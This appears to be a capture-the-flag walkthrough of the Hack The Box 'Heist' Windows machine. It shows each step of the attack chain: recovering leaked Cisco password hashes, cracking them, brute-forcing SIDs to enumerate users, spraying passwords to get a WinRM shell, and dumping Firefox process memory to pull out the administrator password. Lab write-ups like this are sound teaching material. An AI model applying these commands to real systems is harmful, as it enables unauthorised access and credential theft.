> For the complete documentation index, see [llms.txt](https://0xzoro.gitbook.io/0xzoro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xzoro.gitbook.io/0xzoro/htb/htb-writeups/heist.md). # Heist ## HTB Heist - Complete Walkthrough ![Machine Info](https://img.shields.io/badge/Difficulty-Easy-brightgreen) ![OS](https://img.shields.io/badge/OS-Windows-blue) ![Release](https://img.shields.io/badge/Release-2019-orange) ### Machine Information * **Name:** Heist * **OS:** Windows Server 2019 * **Difficulty:** Easy * **IP Address:** 10.129.228.118 *** ### Reconnaissance #### Nmap Scan Starting with a comprehensive nmap scan to identify open ports and services: ```bash nmap -sC -sV -A 10.129.228.118 ``` **Results:** ``` Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-28 21:25 EST Nmap scan report for 10.129.228.118 Host is up (0.17s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-title: Support Login Page |_Requested resource was login.php | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows ``` #### Key Findings: * **Port 80:** IIS 10.0 web server running PHP * **Port 135:** Microsoft Windows RPC * **Port 445:** SMB (Microsoft-DS) * **Port 22:** SSH (filtered - noted in secondary scan) The machine is running **Microsoft Windows Server 2019** with IIS web server. *** ### Initial Access - Guest Login #### Web Application Discovery Navigating to `http://10.129.228.118` reveals a login page with a **"Login as guest"** option. ![Login Page](https://claude.ai/chat/screenshot-login.png) Clicking **"Login as guest"** redirects to an issues page showing: * **User:** Hazard * **Issue:** Problems with Cisco router configuration * **Attachment:** `config.txt` #### Cisco Configuration File The attachment is accessible at: ``` http://10.129.228.118/attachments/config.txt ``` **Configuration snippet:** ```cisco version 12.2 no service pad service password-encryption ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ip ssh authentication-retries 5 ip ssh version 2 ``` **Found credentials (encrypted):** 1. **Enable secret (MD5):** `$1$pdQG$o8nrSzsGXeaduXrjlvKc91` 2. **User rout3r (Cisco Type 7):** `0242114B0E143F015F5D1E161713` 3. **User admin (Cisco Type 7):** `02375012182C1A1D751618034F36415408` *** ### Password Cracking #### Cracking MD5 Hash (Enable Secret) The enable secret uses MD5-crypt encryption. Using John the Ripper: ```bash john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt hash ``` **Result:** ``` ?:stealth1agent 1 password hash cracked, 0 left ``` **Cracked password:** `stealth1agent` #### Decrypting Cisco Type 7 Passwords Cisco Type 7 encryption is a **weak and reversible** obfuscation method. Using an online decoder: **Tool:** [IFM Network - Cisco Password Cracker](https://www.ifm.net.nz/cookbooks/passwordcracker.html) **Results:** | Username | Encrypted Password | Decrypted Password | | -------- | ------------------------------------ | ------------------ | | rout3r | `0242114B0E143F015F5D1E161713` | `$uperP@ssword` | | admin | `02375012182C1A1D751618034F36415408` | `Q4)sJu\Y8qz*A3?d` | #### Credentials Summary ``` Hazard:stealth1agent rout3r:$uperP@ssword admin:Q4)sJu\Y8qz*A3?d ``` *** ### SMB Enumeration #### Enumerating SMB Shares Using CrackMapExec to enumerate SMB shares with Hazard's credentials: ```bash crackmapexec smb 10.129.228.118 -u 'Hazard' -p 'stealth1agent' --shares ``` **Output:** ``` SMB 10.129.228.118 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 SMB 10.129.228.118 445 SUPPORTDESK [+] SUPPORTDESK\Hazard:stealth1agent Share Permissions Remark ----- ----------- ------ ADMIN$ Remote Admin C$ Default share IPC$ READ Remote IPC ``` **Finding:** Limited access with Hazard account - need to enumerate further. *** ### User Enumeration via RPC #### Method 1: Using Impacket's lookupsid.py Enumerating users via SID (Security Identifier): ```bash python3 lookupsid.py Hazard:stealth1agent@Heist.htb ``` **Note:** Add `10.129.228.118 Heist.htb` to `/etc/hosts` **Output:** ``` [*] Brute forcing SIDs at Heist.htb [*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112 500: SUPPORTDESK\Administrator (SidTypeUser) 501: SUPPORTDESK\Guest (SidTypeUser) 503: SUPPORTDESK\DefaultAccount (SidTypeUser) 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser) 513: SUPPORTDESK\None (SidTypeGroup) 1008: SUPPORTDESK\Hazard (SidTypeUser) 1009: SUPPORTDESK\support (SidTypeUser) 1012: SUPPORTDESK\Chase (SidTypeUser) 1013: SUPPORTDESK\Jason (SidTypeUser) ``` #### Method 2: Using rpcclient Alternative enumeration using RPC: ```bash rpcclient -U 'hazard%stealth1agent' 10.129.228.118 ``` **Commands:** ``` rpcclient $> lookupnames hazard hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1) rpcclient $> lookupnames administrator administrator S-1-5-21-4254423774-1266059056-3197185112-500 (User: 1) rpcclient $> lookupnames Chase Chase S-1-5-21-4254423774-1266059056-3197185112-1012 (User: 1) ``` #### Understanding SID Format **Example SID:** `S-1-5-21-4254423774-1266059056-3197185112-1008` * **S** = SID identifier * **1** = Revision level (always 1 for Windows) * **5** = Identifier authority (NT Authority) * **21** = Subauthority (domain/local computer) * **4254423774-1266059056-3197185112** = Domain/Computer identifier * **1008** = **RID (Relative Identifier)** - unique per user **Key Insight:** The RID is the only part that changes between users! #### Automated SID Brute Force Using a bash loop to enumerate RIDs 1000-1050: ```bash for i in {1000..1050}; do rpcclient -U 'hazard%stealth1agent' 10.129.228.118 \ -c "lookupsids S-1-5-21-4254423774-1266059056-3197185112-$i" | grep -v unknown done ``` **Discovered users:** * Hazard (RID: 1008) * support (RID: 1009) * **Chase (RID: 1012)** * Jason (RID: 1013) *** ### User Access #### Password Spraying Testing all discovered passwords against all users. The password `Q4)sJu\Y8qz*A3?d` works for user **Chase**! **Successful credentials:** ``` Chase:Q4)sJu\Y8qz*A3?d ``` #### Evil-WinRM Login Connecting via Evil-WinRM: ```bash evil-winrm -i 10.129.228.118 -u Chase -p 'Q4)sJu\Y8qz*A3?d' ``` **Output:** ``` Evil-WinRM shell v3.7 *Evil-WinRM* PS C:\Users\Chase\Documents> ``` #### User Flag ```powershell *Evil-WinRM* PS C:\Users\Chase\Documents> cd ..\Desktop *Evil-WinRM* PS C:\Users\Chase\Desktop> type user.txt 70fd9************************* ``` **User flag captured!** *** ### Privilege Escalation #### Initial Enumeration Checking hidden files and directories: ```powershell Get-ChildItem -Path . -Directory -Hidden ``` **Finding:** User Chase has access to Firefox application data. #### Firefox Process Discovery Checking running processes: ```powershell Get-Process firefox ``` **Output:** ``` Handles NPM(K) PM(K) WS(K) CPU(s) Id ProcessName ------- ------ ----- ----- ------ -- ----------- 355 25 16388 38720 0.11 6292 firefox 1069 70 149436 226436 4.72 6492 firefox 347 19 10180 288508 0.08 6612 firefox 401 33 31564 90720 0.50 6772 firefox 378 28 22068 58656 0.30 7000 firefox ``` **Multiple Firefox processes running!** #### Memory Dump Strategy Since Firefox is running, it may contain credentials in memory (passwords, tokens, session data). **Tools:** 1. **Procdump** (Microsoft Sysinternals) 2. **Out-Minidump.ps1** (PowerSploit) #### Method 1: Using Procdump **Download:** [Microsoft Sysinternals - Procdump](https://learn.microsoft.com/en-us/sysinternals/downloads/procdump) **Upload to target:** ```powershell *Evil-WinRM* PS C:\Users\Chase\Desktop> upload procdump64.exe ``` **Dump Firefox process memory:** ```powershell .\procdump64.exe -accepteula -ma 6612 ``` This creates a `.dmp` file containing the process memory. #### Method 2: Using Out-Minidump.ps1 **Download:** [PowerSploit - Out-Minidump.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1) **Description:** PowerShell script that writes process dump files similar to `procdump.exe -ma`. #### Analyzing Memory Dump Download the `.dmp` file to your Kali machine and search for passwords: ```bash strings firefox.exe_191129_211531.dmp | grep 'password' ``` **Output (excerpt):** ``` MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login= MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login= ... security.password_lifetime services.sync.engine.passwords ... ``` **Administrator password found:** `4dD!5}x/re8]FBuZ` *** ### Root Flag #### Administrator Login Using Evil-WinRM with administrator credentials: ```bash evil-winrm -i 10.129.228.118 -u administrator -p '4dD!5}x/re8]FBuZ' ``` **Output:** ``` Evil-WinRM shell v3.7 *Evil-WinRM* PS C:\Users\Administrator\Documents> ``` #### Retrieving Root Flag ```powershell *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt f2bb************************* ``` **Root flag captured!** *** ### Attack Chain Summary ``` 1. Guest Access → Cisco Config File 2. Cisco Config → MD5 + Type 7 Passwords 3. Password Cracking → Hazard:stealth1agent 4. RPC Enumeration → Discovered users (Chase, Jason, support) 5. Password Spraying → Chase:Q4)sJu\Y8qz*A3?d 6. Evil-WinRM Login → User Access 7. Process Enumeration → Firefox running 8. Memory Dump → Extract credentials 9. Administrator Login → Root Access ``` *** ### Key Takeaways #### Vulnerabilities Exploited: 1. **Guest Access** - Unauthenticated information disclosure 2. **Cisco Type 7 Encryption** - Weak, reversible password obfuscation 3. **RPC User Enumeration** - SID brute forcing revealed usernames 4. **Password Reuse** - Same passwords across multiple accounts 5. **Credentials in Memory** - Firefox stored plaintext passwords in memory #### Tools Used: * **Nmap** - Port scanning and service enumeration * **John the Ripper** - Password cracking (MD5) * **Cisco Password Cracker** - Type 7 decryption * **CrackMapExec** - SMB enumeration * **Impacket (lookupsid.py)** - SID enumeration * **rpcclient** - RPC user enumeration * **Evil-WinRM** - Windows remote management * **WinPEAS** - Windows privilege escalation enumeration * **Procdump** - Process memory dumping * **strings** - Memory dump analysis #### Learning Points: 1. Always check for **guest/anonymous access** 2. Cisco Type 7 is **NOT secure encryption** - it's trivially reversible 3. **RPC enumeration** can reveal valuable user information 4. **Password spraying** is effective when passwords are reused 5. **Process memory dumps** can contain plaintext credentials 6. Firefox and other browsers may store credentials in memory *** ### Remediation Recommendations 1. **Disable guest access** on web applications 2. **Use strong encryption** for Cisco passwords (Type 8/9 instead of Type 7) 3. **Restrict RPC access** and disable unnecessary services 4. **Implement account lockout policies** to prevent password spraying 5. **Use unique passwords** for each account 6. **Enable process protections** to prevent memory dumping 7. **Regular security audits** of running processes and services *** ### References * [HackTricks - Windows Privilege Escalation](https://book.hacktricks.xyz/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history) * [Cisco Password Cracker - IFM](https://www.ifm.net.nz/cookbooks/passwordcracker.html) * [Microsoft Sysinternals - Procdump](https://learn.microsoft.com/en-us/sysinternals/downloads/procdump) * [PowerSploit - Out-Minidump](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1) * [Impacket Tools](https://github.com/fortra/impacket) *** **Thanks for reading! Happy hacking!** *If you found this walkthrough helpful, consider sharing it with others learning pentesting.*